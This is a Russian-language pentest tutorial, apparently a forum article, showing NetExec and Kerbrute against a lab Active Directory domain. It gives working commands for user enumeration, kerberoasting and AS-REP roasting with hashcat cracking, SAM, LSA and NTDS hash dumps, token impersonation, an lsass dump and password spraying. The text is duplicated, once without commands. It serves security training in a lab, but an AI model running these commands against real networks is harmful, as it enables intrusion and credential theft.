Добрый день друзья!
В данной статье разберем способы сбора информации и пост эксплуатации используя 2 замечательных инструмента
NetExec (nxc) - GitHub - Pennyw0rth/NetExec: The Network Execution Tool
Kerbrute - GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing
nxc является форком и продолжением утилиты crackmapexec
Оба инструмента отлично работают как в Linux так и в Windows системах
Покажу на примере Kali Linux, начнем с установки nxc:
Проверяем командой -
NetExec поддерживает все основные и необходимые нам протоколы:
mssql - СУБД
winrm - Windows Remote Management (протокол удалённого управления, который использует SOAP)
vnc - Virtual Network Computing (позволяет подключаться к удалённому раб. столу)
ftp - File Transfer Protocol (позволяет осуществлять передачу файлов)
rdp - Remote Desktop Protocol (стандартный для Windows протокол подключения к удаленному раб. столу)
ssh - Secure Shell (удаленное управление ОС)
ldap - Lightweight Directory Access Protocol (быстрый доступ к каталогам)
wmi - Windows Management Instrumentation (централизованное управление и сбор информации WIndows инфраструктуры)
smb - Server Message Block (позволяет осуществлять доступ к различным сетевым ресурсам, файлы, диски, принтеры и т.д.)
Указаны стандартные порты данных протоколов
Для демонстрации различных техник создал в лаборатории 3х пользователей:
low_priv - входит в стандартную группу "Пользователи домена/Domain Users"
mid_priv - входит в разные непривилегированные группы (winrm, smb)
high_priv - входит в группу "Администраторы/Administrators"
Начнем с протокола LDAP
Имея учетные данные любого пользователя домена (low_priv) сможем выяснить достаточно полезной информации
Посмотреть справку по команде можно следующим образом -
Стандартная команда выглядит так -
Указываем протокол, цель, домен и учетные данные пользователя
Тут остановимся чуть подробнее
Цель можно указывать в формате IP адрес, dns имя, сеть 192.168.1.0/24 или передать текстовой файл со списком серверов (можно указывать имена хостов предварительно сделав запись в файле hosts)
Учетные данные можно указывать в различных форматах, например хеш пароля (-H) пользователя или используя полученный билет (-k --use-kcache), подробно про билеты в след раз
Если видим плюсик, значит данные верны и можем начинать сбор информации
В nxc для этого используются глобальные опции
Получили список всех пользователей домена
Список всех групп
Почти у каждого протокола в nxc есть различные модули, смотрим командой -
Для подключения модуля используется флаг
Можно указать сразу несколько через пробел и с флагом -M
Подключил 2 модуля, информация о нас и сбор описаний всех пользователей
В реальных условиях мы вряд ли найдем что то интересное в описаниях, однако в тасках на различных платформах часто можно найти полезную информацию
Крайне полезным является встроенный коллектор bloodhound
Закидываем полученные json файлы в BH и спокойно анализируем
Прежде чем перейти к следующему протоколу, расскажу о еще 2х полезных функциях -
Получили хеши которые можно отправить john'у или в hashcat и возможно получится сбрутить пароль
В hashcat указываем - 18200 Kerberos 5, etype 23, AS-REP для ASREP хеша
И 13100 [Kerberos 5, etype 23, TGS-REP] для Kerberos TGS-REP хеша
Переходим к протоколу winrm
Модулей нет, зато есть интересные и крайне удобные функции
Основные флаги идентичны для разных протоколов (-u -p -d -H и т.д.)
Посмотрим различия между пользователями
Внимательные читатели заметили что в выводе кое что изменилось - [+] codeby.cdb\mid_priv:Task123 (Pwn3d!)
Если увидели заветное Pwn3d! то учетные данные не просто верны, а мы непосредственно можем взаимодействовать с данной службой
Детально посмотрим некоторые из функций
Как видим, можем без проблем подключиться к службе используя evil-winrm, однако сдампить SAM файл не хватило прав, в отличие от high_priv пользователя
Получили хеши учетных записей
Аналогично LSA -
Флаги -x -X позволят выполнить команду в cmd и powershell соответственно
SMB протокол
Огромное количество различных модулей
Глобальная опция --shares, покажет список доступных сетевых ресурсов и права на чтение/запись
Если сервер является контроллером домена, сможем сдампить хеши всех пользователей домена
С этой функцией аккуратнее, если домен большой и пользователей много, что то может пойти не так
У некоторых продвинутых модулей есть дополнительные опции
Список опций модуля -
Теперь выведем список возможных токенов -
И попробуем имперсонировать (олицетворение) -
Указали ID токена и команду для выполнения (key=value)
Успех! Выполнили whoami от имени codeby\exited3n
Забрали lsass.exe и получили пасс в открытом виде
Другие модули по аналогии, предлагаю поиграться в качестве дз
rdp, vnc, ftp, ssh - модулей нет, особо интересного тоже, флаги стандартные, можно проверять учетные данные
Коротко о mssql
Настроена локальная аутентификация, поэтому убрали домен и добавили флаг --local-auth
Теперь по поводу перечисления, брутфорсу пользователей и пароля (password spraying)
nxc умеет все это делать, однако делает это медленно
Примеры команд:
Не знаем ни пользователя, ни пароль -
Добавил флаг
Знаем пользователя, не знаем пароль -
Не знаем пользователя, знаем пароль -
Для данных целей я использую другой инструмент - kerbrute
Установка:
Перечисление пользователей -
Брутфорс пользователя -
Спрей пароля -
Написано специально для Codeby.net
Потренироваться и решить AD таски можно на площадке Codeby.games
Мой канал в подписи
За сием прощаюсь, до новых встреч!
В данной статье разберем способы сбора информации и пост эксплуатации используя 2 замечательных инструмента
NetExec (nxc) - GitHub - Pennyw0rth/NetExec: The Network Execution Tool
Kerbrute - GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing
nxc является форком и продолжением утилиты crackmapexec
Оба инструмента отлично работают как в Linux так и в Windows системах
Покажу на примере Kali Linux, начнем с установки nxc:
Bash:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
Проверяем командой -
nxc -h
NetExec поддерживает все основные и необходимые нам протоколы:
mssql - СУБД
Порт: 1433
winrm - Windows Remote Management (протокол удалённого управления, который использует SOAP)
Порт: 5985, 5986
vnc - Virtual Network Computing (позволяет подключаться к удалённому раб. столу)
Порт: 5900
ftp - File Transfer Protocol (позволяет осуществлять передачу файлов)
Порт: 21
rdp - Remote Desktop Protocol (стандартный для Windows протокол подключения к удаленному раб. столу)
Порт: 3389
ssh - Secure Shell (удаленное управление ОС)
Порт: 22
ldap - Lightweight Directory Access Protocol (быстрый доступ к каталогам)
Порт: 389, 636
wmi - Windows Management Instrumentation (централизованное управление и сбор информации WIndows инфраструктуры)
Порт: 135
smb - Server Message Block (позволяет осуществлять доступ к различным сетевым ресурсам, файлы, диски, принтеры и т.д.)
Порт: 445
Указаны стандартные порты данных протоколов
Для демонстрации различных техник создал в лаборатории 3х пользователей:
low_priv - входит в стандартную группу "Пользователи домена/Domain Users"
mid_priv - входит в разные непривилегированные группы (winrm, smb)
high_priv - входит в группу "Администраторы/Administrators"
Начнем с протокола LDAP
Имея учетные данные любого пользователя домена (low_priv) сможем выяснить достаточно полезной информации
Посмотреть справку по команде можно следующим образом -
nxc ldap -h
Стандартная команда выглядит так -
nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123'
Указываем протокол, цель, домен и учетные данные пользователя
Тут остановимся чуть подробнее
Цель можно указывать в формате IP адрес, dns имя, сеть 192.168.1.0/24 или передать текстовой файл со списком серверов (можно указывать имена хостов предварительно сделав запись в файле hosts)
Учетные данные можно указывать в различных форматах, например хеш пароля (-H) пользователя или используя полученный билет (-k --use-kcache), подробно про билеты в след раз
nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd'
Если видим плюсик, значит данные верны и можем начинать сбор информации
В nxc для этого используются глобальные опции
--users --groups
nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd' --users
Получили список всех пользователей домена
nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd' --groups
Список всех групп
Почти у каждого протокола в nxc есть различные модули, смотрим командой -
nxc ldap -L
Для подключения модуля используется флаг
-M module_name
Можно указать сразу несколько через пробел и с флагом -M
nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123' -M whoami -M user-desc
Подключил 2 модуля, информация о нас и сбор описаний всех пользователей
В реальных условиях мы вряд ли найдем что то интересное в описаниях, однако в тасках на различных платформах часто можно найти полезную информацию
Крайне полезным является встроенный коллектор bloodhound
nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123' --bloodhound -ns 192.168.1.36 -c All
Закидываем полученные json файлы в BH и спокойно анализируем
Прежде чем перейти к следующему протоколу, расскажу о еще 2х полезных функциях -
--kerberoasting --asreproast
nxc ldap arrow.codeby.cdb -d codeby.cdb -u 'low_priv' -p 'Task123' --asreproast hashes.txt
nxc ldap arrow.codeby.cdb -d codeby.cdb -u 'low_priv' -p 'Task123' --kerberoasting hashes.txt
Получили хеши которые можно отправить john'у или в hashcat и возможно получится сбрутить пароль
В hashcat указываем - 18200 Kerberos 5, etype 23, AS-REP для ASREP хеша
hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
И 13100 [Kerberos 5, etype 23, TGS-REP] для Kerberos TGS-REP хеша
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Переходим к протоколу winrm
Модулей нет, зато есть интересные и крайне удобные функции
Основные флаги идентичны для разных протоколов (-u -p -d -H и т.д.)
Посмотрим различия между пользователями
nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123'
Внимательные читатели заметили что в выводе кое что изменилось - [+] codeby.cdb\mid_priv:Task123 (Pwn3d!)
Если увидели заветное Pwn3d! то учетные данные не просто верны, а мы непосредственно можем взаимодействовать с данной службой
Детально посмотрим некоторые из функций
nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123' --sam
nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --sam
Как видим, можем без проблем подключиться к службе используя evil-winrm, однако сдампить SAM файл не хватило прав, в отличие от high_priv пользователя
Получили хеши учетных записей
Аналогично LSA -
nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --lsa
Флаги -x -X позволят выполнить команду в cmd и powershell соответственно
nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123' -X 'dir C:\'
SMB протокол
Огромное количество различных модулей
nxc smb -L
Глобальная опция --shares, покажет список доступных сетевых ресурсов и права на чтение/запись
nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --shares
Если сервер является контроллером домена, сможем сдампить хеши всех пользователей домена
nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --ntds
С этой функцией аккуратнее, если домен большой и пользователей много, что то может пойти не так
У некоторых продвинутых модулей есть дополнительные опции
Список опций модуля -
nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate --options
Теперь выведем список возможных токенов -
nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate
И попробуем имперсонировать (олицетворение) -
nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate -o TOKEN=0 EXEC=whoami
Указали ID токена и команду для выполнения (key=value)
Успех! Выполнили whoami от имени codeby\exited3n
nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M nanodump
Забрали lsass.exe и получили пасс в открытом виде
Другие модули по аналогии, предлагаю поиграться в качестве дз
rdp, vnc, ftp, ssh - модулей нет, особо интересного тоже, флаги стандартные, можно проверять учетные данные
Коротко о mssql
nxc mssql -u user -p password --local-auth 192.168.2.14 -M mssql_priv
Настроена локальная аутентификация, поэтому убрали домен и добавили флаг --local-auth
Теперь по поводу перечисления, брутфорсу пользователей и пароля (password spraying)
nxc умеет все это делать, однако делает это медленно
Примеры команд:
Не знаем ни пользователя, ни пароль -
nxc smb arrow.codeby.cdb -d codeby.cdb -u users.txt -p passes.txt --continue-on-success
Добавил флаг
--continue-on-success
при успехе продолжит брутфорсЗнаем пользователя, не знаем пароль -
nxc smb arrow.codeby.cdb -d codeby.cdb -u high_priv -p passes.txt --continue-on-success
Не знаем пользователя, знаем пароль -
nxc smb arrow.codeby.cdb -d codeby.cdb -u users.txt -p 'Task123' --continue-on-success
Для данных целей я использую другой инструмент - kerbrute
Установка:
Bash:
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
sudo mv kerbrute_linux_amd64 /usr/bin/kerbrute
Перечисление пользователей -
kerbrute userenum users.txt -d codeby.cdb --dc 192.168.1.36
Брутфорс пользователя -
kerbrute bruteuser -d codeby.cdb --dc 192.168.1.36 passes.txt mid_priv
Спрей пароля -
kerbrute passwordspray -d codeby.cdb --dc 192.168.1.36 users.txt Task123
Написано специально для Codeby.net
Потренироваться и решить AD таски можно на площадке Codeby.games
Мой канал в подписи
За сием прощаюсь, до новых встреч!
Вложения
Последнее редактирование: